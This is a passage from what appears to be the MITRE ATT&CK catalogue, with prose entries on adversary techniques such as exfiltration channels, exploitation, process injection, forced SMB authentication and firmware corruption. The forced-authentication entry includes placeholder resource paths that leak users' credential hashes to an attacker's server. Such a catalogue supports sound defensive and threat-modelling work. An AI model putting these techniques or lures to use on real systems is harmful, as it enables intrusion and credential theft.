Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of DLL Search Order Hijacking.

Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to Bypass User Account Control. Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012) (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.
T1480Execution GuardrailsAdversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019)

Guardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical Virtualization/Sandbox Evasion. While use of Virtualization/Sandbox Evasion may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.
T1048Exfiltration Over Alternative ProtocolAdversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Adversaries may also opt to encrypt and/or obfuscate these alternate channels.

Exfiltration Over Alternative Protocol can be done using various common operating system utilities such as Net/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux curl may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques)

Many IaaS and SaaS platforms (such as Microsoft Exchange, Microsoft SharePoint, GitHub, and AWS S3) support the direct download of files, emails, source code, and other sensitive information via the web console or Cloud API.
T1048.002Exfiltration Over Asymmetric Encrypted Non-C2 ProtocolAdversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

Asymmetric encryption algorithms are those that use different keys on each end of the channel. Also known as public-key cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt data from the corresponding key. Each end of the communication channels requires a private key (only in the procession of that entity) and the public key of the other entity. The public keys of each entity are exchanged before encrypted communications begin.

Network protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged. Adversaries may opt to use these encrypted mechanisms that are baked into a protocol.
T1011.001Exfiltration Over BluetoothAdversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. If the command and control network is a wired Internet connection, an adversary may opt to exfiltrate data using a Bluetooth communication channel.

Adversaries may choose to do this if they have sufficient access and proximity. Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.
T1041Exfiltration Over C2 ChannelAdversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.
T1011Exfiltration Over Other Network MediumAdversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel.

Adversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.
T1052Exfiltration Over Physical MediumAdversaries may attempt to exfiltrate data via a physical medium, such as a removable drive. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.
T1048.001Exfiltration Over Symmetric Encrypted Non-C2 ProtocolAdversaries may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

Symmetric encryption algorithms are those that use shared or the same keys/secrets on each end of the channel. This requires an exchange or pre-arranged agreement/possession of the value used to encrypt and decrypt data.

Network protocols that use asymmetric encryption often utilize symmetric encryption once keys are exchanged, but adversaries may opt to manually share keys and implement symmetric cryptographic algorithms (ex: RC4, AES) vice using mechanisms that are baked into a protocol. This may result in multiple layers of encryption (in protocols that are natively encrypted such as HTTPS) or encryption in protocols that not typically encrypted (such as HTTP or FTP).
T1048.003Exfiltration Over Unencrypted Non-C2 ProtocolAdversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.(Citation: copy_cmd_cisco)

Adversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields.
T1052.001Exfiltration over USBAdversaries may attempt to exfiltrate data over a USB connected physical device. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a USB device introduced by a user. The USB device could be used as the final exfiltration point or to hop between otherwise disconnected systems.
T1567Exfiltration Over Web ServiceAdversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services.

Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.
T1567.002Exfiltration to Cloud StorageAdversaries may exfiltrate data to a cloud storage service rather than over their primary command and control channel. Cloud storage services allow for the storage, edit, and retrieval of data from a remote cloud storage server over the Internet.

Examples of cloud storage services include Dropbox and Google Docs. Exfiltration to these cloud storage services can provide a significant amount of cover to the adversary if hosts within the network are already communicating with the service.
T1567.001Exfiltration to Code RepositoryAdversaries may exfiltrate data to a code repository rather than over their primary command and control channel. Code repositories are often accessible via an API (ex: https://api.github.com). Access to these APIs are often over HTTPS, which gives the adversary an additional level of protection.

Exfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network.
T1567.003Exfiltration to Text Storage SitesAdversaries may exfiltrate data to text storage sites instead of their primary command and control channel. Text storage sites, such as pastebin[.]com, are commonly used by developers to share code and other information.

Text storage sites are often used to host malicious code for C2 communication (e.g., Stage Capabilities), but adversaries may also use these sites to exfiltrate collected data. Furthermore, paid features and encryption options may allow adversaries to conceal and store data more securely.(Citation: Pastebin EchoSec)

Note: This is distinct from Exfiltration to Code Repository, which highlight access to code repositories via APIs.
T1190Exploit Public-Facing ApplicationAdversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration.

Exploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet accessible open sockets.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may also involve Exploitation for Defense Evasion.

If an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs, exploit container host access via Escape to Host, or take advantage of weak identity and access management policies.

Adversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar)

For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)
T1203Exploitation for Client ExecutionAdversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.

Several types exist:

### Browser-based Exploitation

Web browsers are a common target through Drive-by Compromise and Spearphishing Link. Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.

### Office Applications

Common office and productivity applications such as Microsoft Office are also targeted through Phishing. Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.

### Common Third-party Applications

Other applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.
T1212Exploitation for Credential AccessAdversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain access to systems. One example of this is MS14-068, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions.(Citation: Technet MS14-068)(Citation: ADSecurity Detecting Forged Tickets) Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.
T1211Exploitation for Defense EvasionAdversaries may exploit a system or application vulnerability to bypass security features. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.

Adversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for Security Software Discovery. The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.
T1068Exploitation for Privilege EscalationAdversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.

When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.

Adversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020) Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via Ingress Tool Transfer or Lateral Tool Transfer.
T1210Exploitation of Remote ServicesAdversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.

An adversary may need to determine if the remote system is in a vulnerable state, which may be done through Network Service Discovery or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.

There are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services.(Citation: NVD CVE-2014-7169)

Depending on the permissions level of the vulnerable remote service an adversary may achieve Exploitation for Privilege Escalation as a result of lateral movement exploitation as well.
T1587.004ExploitsAdversaries may develop exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than finding/modifying exploits from online or purchasing them from exploit vendors, an adversary may develop their own exploits.(Citation: NYTStuxnet) Adversaries may use information acquired via Vulnerabilities to focus exploit development efforts. As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis.(Citation: Irongeek Sims BSides 2017)

As with legitimate development efforts, different skill sets may be required for developing exploits. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary’s exploit development capabilities, provided the adversary plays a role in shaping requirements and maintains an initial degree of exclusivity to the exploit.

Adversaries may use exploits during various phases of the adversary lifecycle (i.e. Exploit Public-Facing ApplicationExploitation for Client ExecutionExploitation for Privilege EscalationExploitation for Defense EvasionExploitation for Credential AccessExploitation of Remote Services, and Application or System Exploitation).
T1588.005ExploitsAdversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying)

In addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from individuals.(Citation: PegasusCitizenLab)(Citation: Wired SandCat Oct 2019) In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).(Citation: TempertonDarkHotel)

An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation.

Adversaries may use exploits during various phases of the adversary lifecycle (i.e. Exploit Public-Facing ApplicationExploitation for Client ExecutionExploitation for Privilege EscalationExploitation for Defense EvasionExploitation for Credential AccessExploitation of Remote Services, and Application or System Exploitation).
T1491.002External DefacementAn adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. External Defacement may ultimately cause users to distrust the systems and to question/discredit the system’s integrity. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) External Defacement may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as Drive-by Compromise.(Citation: Trend Micro Deep Dive Into Defacement)
T1090.002External ProxyAdversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion.

External connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.
T1133External Remote ServicesAdversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as Windows Remote Management and VNC can also be used externally.(Citation: MacOS VNC software for Remote Desktop)

Access to Valid Accounts to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.

Access may also be gained through an exposed service that doesn’t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)
T1055.011Extra Window Memory InjectionAdversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.

Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)

Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.

Execution granted through EWM injection may allow access to both the target process’s memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)

Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process.
T1181Extra Window Memory InjectionBefore creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)

Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.

Execution granted through EWM injection may take place in the address space of a separate live process. Similar to Process Injection, this may allow access to both the target process’s memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. (Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)
T1008Fallback ChannelsAdversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.
T1568.001Fast Flux DNSAdversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.(Citation: MehtaFastFluxPt1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welivesecurity)

The simplest, “single-flux” method, involves registering and de-registering an addresses as part of the DNS A (address) record list for a single DNS name. These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution.(Citation: Fast Flux - Welivesecurity)

In contrast, the “double-flux” method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection. With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel.
T1083File and Directory DiscoveryAdversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Many command shell utilities can be used to obtain this information. Examples include dirtreelsfind, and locate.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the Native API. Adversaries may also leverage a Network Device CLI on network devices to gather file and directory information (e.g. dirshow flash, and/or nvram).(Citation: US-CERT-TA18-106A)
T1222File and Directory Permissions ModificationAdversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).

Modifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory’s existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via Accessibility FeaturesBoot or Logon Initialization ScriptsUnix Shell Configuration Modification, or tainting/hijacking other instrumental binary/configuration files via Hijack Execution Flow.

Adversaries may also change permissions of symbolic links. For example, malware (particularly ransomware) may modify symbolic links and associated settings to enable access to files from local shortcuts with remote paths.(Citation: new_rust_based_ransomware)(Citation: bad_luck_blackcat)(Citation: falconoverwatch_blackcat_attack)(Citation: blackmatter_blackcat)(Citation: fsutil_behavior)
T1107File DeletionAdversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary’s footprint.

There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native cmd functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)
T1070.004File DeletionAdversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary’s footprint.

There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well.(Citation: Microsoft SDelete July 2016) Examples of built-in Command and Scripting Interpreter functions include del on Windows and rm or unlink on Linux and macOS.
T1044File System Permissions WeaknessProcesses may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.

### Services

Manipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.

### Executable Installers

Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of DLL Search Order Hijacking. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to Bypass User Account Control. Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)
T1071.002File Transfer ProtocolsAdversaries may communicate using application layer protocols associated with transferring files to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

Protocols such as FTP, FTPS, and TFTP that transfer files may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the transferred files. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.
T1027.011Fileless StorageAdversaries may store data in “fileless” formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless)

Similar to fileless in-memory behaviors such as Reflective Code Loading and Process Injection, fileless data storage may remain undetected by anti-virus and other endpoint security tools that can only access specific file formats from disk storage.

Adversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of Persistence) and collected data not yet exfiltrated from the victim (e.g., Local Data Staging). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored.

Some forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., %SystemRoot%\System32\Wbem\Repository) or Registry (e.g., %SystemRoot%\System32\Config) physical files.(Citation: Microsoft Fileless)
T1592.003FirmwareAdversaries may gather information about the victim’s host firmware that can be used during targeting. Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.).

Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices).(Citation: ArsTechnica Intel) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Supply Chain Compromise or Exploit Public-Facing Application).
T1495Firmware CorruptionAdversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot, thus denying the availability to use the devices and/or the system.(Citation: Symantec Chernobyl W95.CIH) Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices may include the motherboard, hard drive, or video cards.

In general, adversaries may manipulate, overwrite, or corrupt firmware in order to deny the use of the system or devices. For example, corruption of firmware responsible for loading the operating system for network devices may render the network devices inoperable.(Citation: dhs_threat_to_net_devices)(Citation: cisa_malware_orgs_ukraine) Depending on the device, this attack may also result in Data Destruction.
T1187Forced AuthenticationAdversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.

The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.

Web Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)

Adversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. Template Injection), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user’s system accesses the untrusted resource it will attempt authentication and send information, including the user’s hashed credentials, over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line Brute Force cracking to gain access to plaintext credentials. (Citation: Cylance Redirect to SMB)

There are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:

- A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. Template Injection). The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)
- A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \[remote address]\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)
T1606Forge Web CredentialsAdversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.

Adversaries may generate these credential materials in order to gain access to web resources. This differs from Steal Web Session CookieSteal Application Access Token, and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users. The generation of web credentials often requires secret values, such as passwords, Private Keys, or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator) Adversaries may also forge tokens by taking advantage of features such as the AssumeRole and GetFederationToken APIs in AWS, which allow users to request temporary security credentials.(Citation: AWS Temporary Security Credentials)

Once forged, adversaries may use these web credentials to access resources (ex: Use Alternate Authentication Material), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation: Microsoft SolarWinds Customer Guidance)
T1553.001Gatekeeper BypassAdversaries may modify file attributes and subvert Gatekeeper functionality to evade user prompts and execute untrusted programs. Gatekeeper is a set of technologies that act as layer of Apple’s security model to ensure only trusted applications are executed on a host. Gatekeeper was built on top of File Quarantine in Snow Leopard (10.6, 2009) and has grown to include Code Signing, security policy compliance, Notarization, and more. Gatekeeper also treats applications running for the first time differently than reopened applications.(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation: TheEclecticLightCompany apple notarization )

Based on an opt-in system, when files are downloaded an extended attribute (xattr) called com.apple.quarantine (also known as a quarantine flag) can be set on the file by the application performing the download. Launch Services opens the application in a suspended state. For first run applications with the quarantine flag set, Gatekeeper executes the following functions:

